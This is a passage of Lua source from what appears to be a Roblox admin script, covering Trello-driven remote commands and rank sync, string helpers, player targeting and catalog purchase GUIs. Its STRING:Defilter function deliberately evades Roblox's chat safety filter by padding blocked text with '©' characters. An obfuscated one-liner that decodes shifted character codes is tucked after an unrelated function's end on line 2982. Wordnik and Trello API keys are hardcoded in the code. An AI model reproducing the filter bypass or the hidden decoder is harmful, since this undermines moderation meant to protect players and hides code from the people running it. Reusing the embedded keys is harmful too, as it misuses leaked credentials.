2568 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2569 PlaceData.Other.PartAmount = PartAmount;
2570 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2571
2572 local Res = "Could not get response"
2573 local function SendData()
2574 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2575 end
2576 if Stopypcall == true then SendData() else ypcall(SendData) end
2577 if PrintResponse then print(Res) end
2578
2579 print("Sent snapshot")
2580end
2581
2582
2583function REMOTE:DefineWord(Word, Source)
2584 if not Word then return end
2585 if not Source then Source = "all" end
2586
2587 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2588 if Response then
2589 local Decode = REMOTE:Decode(Response)
2590 if #Decode > 0 then
2591 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2592
2593 ]]..Decode[1]["text"]
2594 else
2595 return "Invalid English word"
2596 end
2597 else
2598 return "Cannot connect to database"
2599 end
2600end
2601
2602function REMOTE:DownloadJoke(Speaker)
2603 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2604 local Joke = nil
2605 if Res then
2606 local _, Start = string.find(Res, "</h2>")
2607 local End, _ = string.find(string.sub(Res, Start), "</td>")
2608
2609 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2610 Joke = string.gsub(Joke, "\n", "")
2611 Joke = string.gsub(Joke, " ", "") -- tab
2612 Joke = string.gsub(Joke, "</ul>", "")
2613 Joke = string.gsub(Joke, "<ul>", "")
2614 Joke = string.gsub(Joke, "</li>", [[
2615
2616]])
2617 Joke = string.gsub(Joke, "<li>", "")
2618 Joke = string.gsub(Joke, "</p>", "")
2619 Joke = string.gsub(Joke, "<p>", "")
2620 Joke = string.gsub(Joke, "<", "")
2621 Joke = string.gsub(Joke, ">", "")
2622 end
2623
2624 return Joke
2625end
2626
2627function REMOTE:GetAddon()
2628 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2629end
2630
2631function REMOTE:TrelloGetAdminBoard()
2632 local BoardsJSON,Boards,ReturnBoard
2633
2634 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2635
2636 if BoardsJSON then
2637 Boards = REMOTE:Decode(BoardsJSON)
2638 end
2639 if Boards then
2640 for _,Board in pairs(Boards) do
2641 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2642 ReturnBoard = Board
2643 break
2644 end
2645 end
2646 if not ReturnBoard then -- create board if not created
2647 print("Creating Trello Board")
2648 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2649 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2650 ReturnBoard = REMOTE:Decode(BoardJSON)
2651 end
2652 end
2653 return ReturnBoard
2654end
2655
2656function REMOTE:TrelloGetAdminLists(Board)
2657 local Required = {}
2658 local ListJSON,Lists
2659 local ReturnLists = {}
2660
2661 for _,List in pairs(Trello.RequiredLists) do
2662 table.insert(Required, List)
2663 end
2664
2665 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2666
2667 if ListJSON then
2668 Lists = REMOTE:Decode(ListJSON)
2669 end
2670 if Lists then
2671 for _,List in pairs(Lists) do
2672 for Num,Rel in pairs(Required) do
2673 if List.name == Rel.name then
2674 table.remove(Required, Num)
2675 table.insert(ReturnLists, List)
2676 end
2677 end
2678 end
2679 for _,Rel in pairs(Required) do
2680 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2681 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2682 end
2683 end
2684
2685 return ReturnLists
2686end
2687
2688function REMOTE:TrelloCacheData(Lists)
2689 for _,List in pairs(Lists) do
2690 local CardsJSON,Cards
2691 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2692 if CardsJSON then
2693 Cards = REMOTE:Decode(CardsJSON)
2694 end
2695 if Cards then
2696 local TemplateCards = nil
2697 for _,TemplateList in pairs(Trello.RequiredLists) do
2698 if TemplateList.name == List.name then
2699 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2700 break
2701 end
2702 end
2703
2704 for _,TemplateCard in pairs(TemplateCards) do
2705 local CardExists = false
2706 for _,Card in pairs(Cards) do
2707 if Card.name == TemplateCard.name and Card.closed == false then
2708 CardExists = true
2709 end
2710 end
2711 if not CardExists then
2712 print("Creating card "..TemplateCard.name)
2713 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2714 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2715 end
2716 end
2717
2718 if List.name == "Ranked" then
2719 for _,Card in pairs(Cards) do
2720 if Settings.Ranks[Card.name] and Card.closed == false then
2721 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2722 end
2723 end
2724 elseif List.name == "Settings" then
2725 for _,Card in pairs(Cards) do
2726 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2727 Trello.ToggleChecklist = Card.idChecklists[1]
2728 elseif Card.name == "Command Execution" then
2729 Trello.CommandID = Card.id
2730 end
2731 end
2732 end
2733 end
2734 end
2735end
2736
2737function REMOTE:TrelloHandleData(IgnoreCommand)
2738 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2739 if ToggleSettingsJSON then
2740 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2741 if Settings.LinkedAccount == "" then
2742 local NewSettings = {}
2743 for _,Item in pairs(ToggleSettings.checkItems) do
2744 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2745 end
2746 Settings.Fun = NewSettings["Fun Commands Enabled"]
2747 Settings.ServerLocked = NewSettings["Server Locked"]
2748 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2749 end
2750 else
2751 return false
2752 end
2753
2754 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2755 if CommandChatJSON then
2756 CommandChat = REMOTE:Decode(CommandChatJSON)
2757 local ClosestDT = 0
2758 for _,ChatData in pairs(CommandChat) do
2759 local DT = STRING:ConvertDateTime(ChatData.date)
2760 ClosestDT = math.max(ClosestDT, DT)
2761
2762 if not IgnoreCommand and DT > Trello.LastCommandDT then
2763 print("Executing Remote Trello Command")
2764 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2765 end
2766 end
2767 Trello.LastCommandDT = ClosestDT
2768 else
2769 return false
2770 end
2771
2772 for Rank,ID in pairs(Trello.RankChecklistCache) do
2773 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2774 if ChecklistJSON then
2775 Checklist = REMOTE:Decode(ChecklistJSON)
2776
2777 for _,Item in pairs(Checklist.checkItems) do
2778 if Item.state == "complete" then
2779 if RANK:ConvertRank(Rank) < 0 then
2780 if not RANK:ScanExileList(Item.name) then
2781 table.insert(Settings.Ranks[Rank], Item.name)
2782 end
2783 elseif RANK:ConvertRank(Rank) > 0 then
2784 if not RANK:ScanAdminList(Item.name) then
2785 table.insert(Settings.Ranks[Rank], Item.name)
2786 end
2787 end
2788 elseif Item.state == "incomplete" then
2789 for Num,Name in pairs(Settings.Ranks[Rank]) do
2790 if string.lower(Name) == string.lower(Item.name) then
2791 table.remove(Settings.Ranks[Rank], Num)
2792 end
2793 end
2794 end
2795 end
2796 else
2797 return false
2798 end
2799 end
2800 return true
2801end
2802
2803-- String functions --
2804
2805function STRING:ConvertDateTime(DateTime)
2806 local Num = 0
2807 local TotalTime = 0
2808 for i in string.gmatch(DateTime, "%d+") do
2809 Num = Num + 1
2810 DTNum = tonumber(i)
2811 if Num == 1 then
2812 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2813 elseif Num == 2 then
2814 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2815 elseif Num == 3 then
2816 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2817 elseif Num == 4 then
2818 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2819 elseif Num == 5 then
2820 TotalTime = TotalTime + DTNum * 60 -- minute
2821 elseif Num == 6 then
2822 TotalTime = TotalTime + DTNum -- second
2823 end
2824 end
2825
2826 return TotalTime
2827end
2828
2829function STRING:TrelloStateConvert(State)
2830 if State == "complete" then
2831 return true
2832 else
2833 return false
2834 end
2835end
2836
2837function STRING:StringRound(Number)
2838 Number = Number * 100
2839 if Number >= 0.5 then
2840 return tostring(math.ceil(Number)/100)
2841 else
2842 return tostring(math.floor(Number)/100)
2843 end
2844
2845 return Number
2846end
2847
2848function STRING:GetSplit(String, NumArgs, BetSplit)
2849 if not String then return nil end
2850 if BetSplit == nil then BetSplit = " " end
2851 if NumArgs == nil then NumArgs = math.huge end
2852
2853 if NumArgs <= 0 then return {String} end
2854
2855 local RecentParse = 1
2856 local Args = {}
2857 for i = 1,NumArgs do
2858 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2859 if Find1 and Find2 then
2860 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2861 RecentParse = Find2 + 1
2862 else
2863 break
2864 end
2865 end
2866 table.insert(Args,string.sub(String,RecentParse,#String))
2867 return Args
2868end
2869
2870function STRING:Defilter(String)
2871 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2872 if RobloxApprove.Text == "Label" and String ~= "Label" then
2873 local NewString = ""
2874 for i = 1,#String,3 do
2875 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2876 end
2877 return NewString
2878 else
2879 return String
2880 end
2881end
2882
2883function STRING:Filter(String, From, To) -- #### you, roblox
2884 if From then
2885 if To then
2886 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2887 else
2888 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2889 end
2890 else
2891 return String
2892 end
2893end
2894
2895function STRING:DetermineFilter(String, From, To)
2896 if ShouldFilter then
2897 return STRING:Filter(String, From, To)
2898 else
2899 return STRING:Defilter(String)
2900 end
2901end
2902
2903function STRING:LeetSpeak(Input)
2904 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2905 Input = string.gsub(Input, "LEET", "1337")
2906 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2907 Input = string.gsub(Input, "E", "3")
2908 Input = string.gsub(Input, "O", "0")
2909 Input = string.gsub(Input, "A", "4")
2910 Input = string.gsub(Input, "X", "x")
2911 Input = string.gsub(Input, "I", "1")
2912 Input = string.gsub(Input, "S", "$")
2913 return Input
2914end
2915
2916function STRING:FormatReplace(Player, Input, From)
2917 local Output = Input
2918 for _,ReplaceData in pairs(StringReplacements) do
2919 local ReplaceString = ReplaceData[1]
2920 local ReplaceStrings = {}
2921 if type(ReplaceString) == "table" then
2922 ReplaceStrings = ReplaceString
2923 else
2924 ReplaceStrings = {ReplaceString}
2925 end
2926 for _,ReplaceString in pairs(ReplaceStrings) do
2927 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2928 local Replacement = ReplaceData[4](Player)
2929 if type(Replacement) == "string" then
2930 Output = string.gsub(Output, ReplaceString, Replacement)
2931 else
2932 print(ReplaceString.." cannot be replaced")
2933 end
2934 end
2935 end
2936 end
2937 if From then
2938 return STRING:DetermineFilter(Output, From, Player)
2939 else
2940 return STRING:DetermineFilter(Output, Player)
2941 end
2942end
2943
2944function STRING:EncodeSpecialChars(Input)
2945 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2946end
2947
2948function STRING:StringToBool(String)
2949 if String == "true" then
2950 return true
2951 else
2952 return false
2953 end
2954end
2955
2956function STRING:BoolString(Value)
2957 if type(Value) == "boolean" then
2958 if Value == true then
2959 return "YES"
2960 elseif Value == false then
2961 return "NO"
2962 end
2963 else
2964 return "NO"
2965 end
2966end
2967
2968function STRING:MakeAvoidance(Length)
2969 if not Length then
2970 Length = 32
2971 end
2972 local Avoidance = ""
2973 for i = 1,Length do
2974 Num = math.random(1,2)
2975 if Num == 1 then
2976 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2977 else
2978 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2979 end
2980 end
2981 return Avoidance
2982end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2983
2984function STRING:FindAge(Days) -- By LuaModelmaker
2985 local Years = math.floor(Days/365)
2986 local OtherDays = math.fmod(Days, 365)
2987 if Years > 1 then
2988 return Years.." years and "..OtherDays.." days"
2989 elseif Years == 1 then
2990 return Years.." year and "..OtherDays.." days"
2991 elseif Years == 0 then
2992 return "(No years) "..OtherDays.." days"
2993 end
2994end
2995
2996function STRING:UnpackArgs(...)
2997 local Pack = {...}
2998 if type(Pack[1]) == "table" then Pack = Pack[1] end
2999 local ReturnString = table.concat(Pack, ", ")
3000 return ReturnString
3001end
3002
3003function STRING:GetComma(Num)
3004 local Formatted = Num
3005 while true do
3006 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
3007 if _ == 0 then
3008 break
3009 end
3010 end
3011 return Formatted
3012end
3013
3014function STRING:DecodeUTF8(Value)
3015 local function DecodeString(Input)
3016 if type(Input) == "string" then
3017 for Find,Rep in pairs(HTMLDecode) do
3018 Input = string.gsub(Input, "&#"..Find..";", Rep)
3019 end
3020 Input = string.gsub(Input, """, "'")
3021 end
3022 return Input
3023 end
3024 if type(Value) == "table" then
3025 for Index,Var in pairs(Value) do
3026 Value[Index] = DecodeString(Var)
3027 end
3028 elseif type(Value) == "string" then
3029 Value = DecodeString(Value)
3030 end
3031 return Value
3032end
3033
3034function STRING:IsSpacer(Input)
3035 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
3036 return true
3037 else
3038 return false
3039 end
3040end
3041
3042function STRING:IsVowel(Input)
3043 Input = string.lower(tostring(Input))
3044 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
3045 return true
3046 else
3047 return false
3048 end
3049end
3050
3051function STRING:ValidE(Input)
3052 if not Input then return nil end
3053 if string.lower(Input) == "e" or Input == "~" then
3054 return true
3055 else
3056 return false
3057 end
3058end
3059
3060function STRING:Scan(String, Speaker)
3061 local ReturnPlayers,ExcludeList = {},{}
3062 if not String then String = "" end
3063 if not Speaker then print("NO SPEAKER") end
3064
3065 if string.sub(string.lower(String), 1, 12) == "includecase/" then
3066 String = string.sub(String, 13)
3067 else
3068 String = string.lower(String)
3069 end
3070 local Words = STRING:GetSplit(String, nil, "/")
3071 for _,Word in pairs(Words) do
3072 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
3073 table.insert(ReturnPlayers, Speaker)
3074 elseif Word == "all" or Word == "everyone" then
3075 for _,Player in pairs(Server.Players:GetPlayers()) do
3076 table.insert(ReturnPlayers, Player)
3077 end
3078 elseif Word == "others" or Word == "notme" then
3079 for _,Player in pairs(Server.Players:GetPlayers()) do
3080 if Player ~= Speaker then
3081 table.insert(ReturnPlayers, Player)
3082 end
3083 end
3084 elseif Word == "noobs" then
3085 for _,Player in pairs(Server.Players:GetPlayers()) do
3086 if Player.AccountAge < 365 then
3087 table.insert(ReturnPlayers, Player)
3088 end
3089 end
3090 elseif Word == "nonnoobs" then
3091 for _,Player in pairs(Server.Players:GetPlayers()) do
3092 if Player.AccountAge >= 365 then
3093 table.insert(ReturnPlayers, Player)
3094 end
3095 end
3096 elseif Word == "random" then
3097 local RandomPlayers = {}
3098 for _,Player in pairs(Server.Players:GetPlayers()) do
3099 if Player ~= Speaker then
3100 table.insert(RandomPlayers, Player)
3101 end
3102 end
3103 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
3104 elseif Word == "guests" then
3105 for _,Player in pairs(Server.Players:GetPlayers()) do
3106 if string.sub(Player.Name,1,6) == "Guest " then
3107 table.insert(ReturnPlayers, Player)
3108 end
3109 end
3110 elseif Word == "lowers" then
3111 for _,Player in pairs(Server.Players:GetPlayers()) do
3112 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
3113 table.insert(ReturnPlayers, Player)
3114 end
3115 end
3116 elseif Word == "uppers" then
3117 for _,Player in pairs(Server.Players:GetPlayers()) do
3118 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
3119 table.insert(ReturnPlayers, Player)
3120 end
3121 end
3122 elseif Word == "nbcs" then
3123 for _,Player in pairs(Server.Players:GetPlayers()) do
3124 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
3125 table.insert(ReturnPlayers, Player)
3126 end
3127 end
3128 elseif Word == "bcs" then
3129 for _,Player in pairs(Server.Players:GetPlayers()) do
3130 if Player.MembershipType == Enum.MembershipType.BuildersClub then
3131 table.insert(ReturnPlayers, Player)
3132 end
3133 end
3134 elseif Word == "tbcs" then
3135 for _,Player in pairs(Server.Players:GetPlayers()) do
3136 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
3137 table.insert(ReturnPlayers, Player)
3138 end
3139 end
3140 elseif Word == "obcs" then
3141 for _,Player in pairs(Server.Players:GetPlayers()) do
3142 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3143 table.insert(ReturnPlayers, Player)
3144 end
3145 end
3146 elseif Word == "allbcs" then
3147 for _,Player in pairs(Server.Players:GetPlayers()) do
3148 if Player.MembershipType ~= Enum.MembershipType.None then
3149 table.insert(ReturnPlayers, Player)
3150 end
3151 end
3152 elseif Word == "nonadmins" then
3153 for _,Player in pairs(Server.Players:GetPlayers()) do
3154 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3155 if IsAdminTrue == false then
3156 table.insert(ReturnPlayers, Player)
3157 end
3158 end
3159 elseif Word == "admins" then
3160 for _,Player in pairs(Server.Players:GetPlayers()) do
3161 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3162 if IsAdminTrue == true then
3163 table.insert(ReturnPlayers, Player)
3164 end
3165 end
3166 elseif Word == "friends" then
3167 for _,Player in pairs(Server.Players:GetPlayers()) do
3168 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3169 table.insert(ReturnPlayers, Player)
3170 end
3171 end
3172 elseif string.sub(Word,1,5) == "team-" then
3173 for _,Player in pairs(Server.Players:GetPlayers()) do
3174 if Player.Neutral == false then
3175 local InTeam = false
3176 for _,Team in pairs(Teams:GetTeams()) do
3177 if Team.TeamColor == Player.TeamColor then
3178 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3179 InTeam = true
3180 end
3181 end
3182 end
3183 if InTeam == true then
3184 table.insert(ReturnPlayers, Player)
3185 end
3186 end
3187 end
3188 elseif string.sub(Word,1,4) == "not-" then
3189 local NameArg = string.sub(Word,5)
3190
3191 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3192 table.insert(ExcludeList, Player)
3193 end
3194 elseif string.sub(Word,1,7) == "radius-" then
3195 local DidExe = false
3196 local NumArg = tonumber(string.sub(Word,8))
3197
3198 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3199 for _,Player in pairs(Server.Players:GetChildren()) do
3200 if Player.Character and Player.Character:FindFirstChild("Torso") then
3201 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3202 DidExe = true
3203 table.insert(ReturnPlayers, Player)
3204 end
3205 end
3206 end
3207 end
3208
3209 if DidExe then coroutine.wrap(function()
3210 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3211 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3212
3213 for i = 0,0.5,0.02 do
3214 Part.Transparency = 0.5+i
3215 wait()
3216 end
3217 Part:Destroy()
3218 end)() end
3219 elseif string.sub(Word,1,3) == "id-" then
3220 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3221 else
3222 if Word ~= "" then
3223 for _,Player in pairs(Server.Players:GetPlayers()) do
3224 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3225 table.insert(ReturnPlayers, Player)
3226 end
3227 end
3228 else
3229 table.insert(ReturnPlayers, Speaker)
3230 end
3231 end
3232 end
3233 for _,Player in pairs(ExcludeList) do
3234 if Player and Player.Parent ~= nil then
3235 for Num,Player2 in pairs(ReturnPlayers) do
3236 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3237 end
3238 end
3239 end
3240 for Num,Player in pairs(ReturnPlayers) do
3241 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3242 end
3243
3244 local PlayerDump = {}
3245 for _,Player in pairs(ReturnPlayers) do
3246 PlayerDump[Player] = true
3247 end
3248 ReturnPlayers = {}
3249 for Player,_ in pairs(PlayerDump) do
3250 table.insert(ReturnPlayers, Player)
3251 end
3252
3253 return ReturnPlayers
3254end
3255
3256-- Market functions --
3257
3258function MARKET:GetImageFormat(ID)
3259 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3260 local NewID = ID + 1
3261 for i = 1,100 do
3262 NewID = NewID -1
3263 local Product = nil
3264 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3265 if Product then
3266 if Product == 1 then
3267 break
3268 end
3269 end
3270 if i == 100 then NewID = ID end
3271 end
3272 return NewID
3273 end end
3274end
3275
3276function MARKET:GetItemInfo(ID, Cache)
3277 local Product = MarketCache[ID]
3278 if not Cache or not Product then
3279 repeat wait()
3280 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3281 until Product ~= MarketCache[ID]
3282 end
3283 MarketCache[ID] = Product
3284 return Product
3285end
3286
3287function MARKET:SearchItem(Category, Query, Subcategory)
3288 local URLAdd = ""
3289 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3290 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3291 if JSON then
3292 local Results = REMOTE:Decode(JSON)
3293 if Results then
3294 for Index,Info in pairs(Results) do
3295 Info = STRING:DecodeUTF8(Info)
3296 Results[Index] = Info
3297 MarketCache[Info.AssetId] = {
3298 AssetId = Info.AssetId;
3299 AssetTypeId = Info.AssetTypeID;
3300 ContentRatingTypeId = Info.ContentRatingTypeID;
3301 Created = Info.CreatedDate;
3302 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3303 Description = Info.Description;
3304 IsForSale = Info.IsForSale;
3305 IsLimited = Info.IsLimited;
3306 IsLimitedUnique = Info.IsLimitedUnique;
3307 IsNew = Info.IsNew;
3308 IsPublicDomain = Info.IsPublicDomain;
3309 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3310 Name = Info.Name;
3311 PriceInRobux = Info.PriceInRobux;
3312 PriceInTickets = Info.PriceInTickets;
3313 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3314 Remaining = Info.Remaining;
3315 Sales = Info.Sales;
3316 Updated = Info.Updated;
3317 }
3318 end
3319 return Results
3320 end
3321 end
3322end
3323
3324function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3325 if not Player or not Category or not Query then return nil end
3326 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3327 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3328 if Items then
3329 if #Items ~= 0 then
3330 local List,Correlate = {},{}
3331 for Num,Info in pairs(Items) do
3332 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3333 table.insert(List, Display)
3334 Correlate[Display[1]] = Info.AssetId
3335 end
3336 CloseGui:Invoke()
3337
3338 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3339 Clicked.Event:connect(function(ClickName)
3340 ClickedItem(Correlate[ClickName])
3341 end)
3342 else
3343 CloseGui:Invoke()
3344 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3345 end
3346 else
3347 CloseGui:Invoke()
3348 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3349 end
3350end
3351
3352function MARKET:AssetTypeToString(AssetType)
3353 AssetType = math.floor(tonumber(AssetType) or 0)
3354 if Assets.AssetTypes[AssetType] then
3355 return Assets.AssetTypes[AssetType]
3356 else
3357 return "Unknown"
3358 end
3359end
3360
3361function MARKET:AccessoryToSubcategory(Accessory)
3362 Accessory = string.lower(tostring(Accessory) or "")
3363 if Assets.AccessoryTypes[Accessory] then
3364 return Assets.AccessoryTypes[Accessory]
3365 else
3366 return Assets.AccessoryTypes["all"]
3367 end
3368end
3369
3370function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3371 if not Player then return nil end
3372 if not Player:FindFirstChild("PlayerGui") then return nil end
3373 if not tonumber(ProductID) then return nil end
3374
3375 local FromText = ""
3376 if From and From.Name then FromText = " | Prompted from "..From.Name end
3377
3378 local Product = MARKET:GetItemInfo(ProductID, true)
3379
3380 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3381 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3382 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3383
3384 local CanBuy = Product.IsForSale
3385 local BuyText = "Buy"
3386 local BuyColor = Color3.new(0,1,0)
3387 if CanBuy == false then
3388 BuyColor = Color3.new(1,0,0)
3389 end
3390 if Product.IsPublicDomain == true then
3391 CanBuy = true
3392 BuyColor = Color3.new(1,0.5,0.5)
3393 BuyText = "FREE!"
3394 end
3395 if OwnsAsset then
3396 CanBuy = false
3397 end
3398 if Product.AssetTypeId == 9 then
3399 CanBuy = true
3400 BuyText = "Teleport"
3401 BuyColor = Color3.new(0.5,0.5,0.5)
3402 end
3403 if CanBuy == false then
3404 BuyColor = Color3.new(1,0,0)
3405 BuyText = "Item not for sale"
3406 end
3407 if OwnsAsset and Product.AssetTypeId ~= 9 then
3408 BuyColor = Color3.new(1,0,0)
3409 BuyText = "You own this!"
3410 end
3411
3412 local ProductName = string.sub(Product.Name,1,20)
3413 if ProductID == AdminID then ProductName = Product.Name end
3414 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3415 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3416 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3417 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
